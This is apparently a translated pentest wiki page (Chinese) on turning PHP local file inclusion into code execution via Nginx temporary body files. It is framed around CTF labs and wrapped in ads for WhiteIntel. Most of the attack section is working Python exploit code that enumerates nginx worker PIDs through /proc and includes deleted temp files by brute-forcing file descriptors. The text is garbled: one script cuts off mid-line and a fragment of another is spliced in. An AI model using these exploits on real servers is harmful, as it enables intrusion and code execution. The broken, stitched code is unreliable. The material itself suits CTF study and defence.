LFI2RCE via Nginx temp files
通过Nginx临时文件进行LFI2RCE
WhiteIntel是一个由暗网推动的搜索引擎，提供免费功能，用于检查公司或其客户是否受到窃取恶意软件的侵害。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎：
弱点配置
示例来自https://bierbaumer.net/security/php-lfi-with-nginx-assistance/
PHP代码: ````h`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` 注意：在这个例子中，不能直接包含`/proc/34/fd/15`，因为PHP的`include`函数会将路径解析为`/var/lib/nginx/body/0000001368 (deleted)`，而这个路径在文件系统中不存在。幸运的是，可以通过一些间接方式绕过这个小限制，比如：`/proc/self/fd/34/../../../34/fd/15`，最终会执行已删除文件`/var/lib/nginx/body/0000001368`的内容。 ## 完整利用 ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) except: pass
def send_payload_worker(requests_session): while True: send_payload(requests_session)
def send_payload_multiprocess(requests_session):
Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
def generate_random_path_prefix(nginx_pids):
This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue
Flags are formatted as hxp{}
if "hxp" in d: print("Found flag! ") print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids):
Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
if name == "main": print('[DEBUG] Creating requests session') requests_session = create_requests_session() print('[DEBUG] Getting Nginx pids') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx pids: {nginx_pids}') print('[DEBUG] Starting payload sending') send_payload_multiprocess(requests_session) print('[DEBUG] Starting fd readers') read_file_multiprocess(requests_session, nginx_pids)
## 实验室
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## 参考资料
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎：
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
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